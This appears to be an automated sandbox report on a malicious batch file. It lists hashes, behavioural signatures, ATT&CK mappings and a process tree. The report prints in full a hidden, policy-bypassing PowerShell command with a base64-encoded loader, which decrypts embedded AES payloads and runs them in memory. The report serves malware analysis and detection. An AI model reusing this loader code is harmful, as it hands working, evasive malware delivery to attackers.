743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea

General

Target

743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat
Size

64KB
MD5

85895b178c1ab401353c71c150f01950
SHA1

f23aa3e21be2026a20cde84aac495eedbbc8ba5f
SHA256

743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea
SHA512

a6e1f8404c245f42285a2dc668b36ce041f9df2641707a715257e1c42694bb57f86c3cd4ba554e3264b6aa6c8046f683fd350e9b9c65a31ed58924f972afe50b
SSDEEP

1536:MVpdfg39TAXKl/yi4830S1BZkbmEKUgXEXzICKUnFPyREf:u49Mal/Ln0S1QHf9yREf

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1636	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1636	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2056	2320	cmd.exe	32
PID 2320 wrote to memory of 2056	2320	cmd.exe	32
PID 2320 wrote to memory of 2056	2320	cmd.exe	32
PID 2056 wrote to memory of 1636	2056	cmd.exe	34
PID 2056 wrote to memory of 1636	2056	cmd.exe	34
PID 2056 wrote to memory of 1636	2056	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\743db9757f94a7f6f6e80e01ae725daff09b56397f3c60a423da44104fa56cea.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTska29qbnAgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGtvam5wKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRrb2pucCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRrb2pucCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAka29qbnAiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdGxqZXYoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJzI1a1ZEbDA4YWxwcjFNOEYyVGEwN2l0eWJlM3FvMFJ1N1JIejYxamZPL0U9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2ZFbXhXQmd2VjNXOFZBR0FaOVErZnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZ2dleHAoJHBhcmFtX3Zhcil7CSR5emdsZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcW5ocWk9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkamV1Y3Y9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkeXpnbGcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGpldWN2LkNvcHlUbygkcW5ocWkpOwkkamV1Y3YuRGlzcG9zZSgpOwkkeXpnbGcuRGlzcG9zZSgpOwkkcW5ocWkuRGlzcG9zZSgpOwkkcW5ocWkuVG9BcnJheSgpO31mdW5jdGlvbiB3cmJxaSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHhiZ2N6PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGRvdHlrPSR4Ymdjei5FbnRyeVBvaW50OwkkZG90eWsuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGtvam5wOyRua3dwdT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGtvam5wKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkYXR3IGluICRua3dwdSkgewlpZiAoJGF0dy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHBkZ2t0PSRhdHcuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGd0amhlPVtzdHJpbmdbXV0kcGRna3QuU3BsaXQoJ1wnKTskam9zdmE9Z2dleHAgKHRsamV2IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGd0amhlWzBdKSkpOyRrbXJ1cT1nZ2V4cCAodGxqZXYgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZ3RqaGVbMV0pKSk7d3JicWkgJGpvc3ZhICRudWxsO3dyYnFpICRrbXJ1cSAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1636-6-0x000007FEF63DE000-0x000007FEF63DF000-memory.dmp

Filesize
4KB

Download
memory/1636-7-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/1636-8-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/1636-9-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-10-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-11-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-12-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-14-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download
memory/1636-13-0x000007FEF6120000-0x000007FEF6ABD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing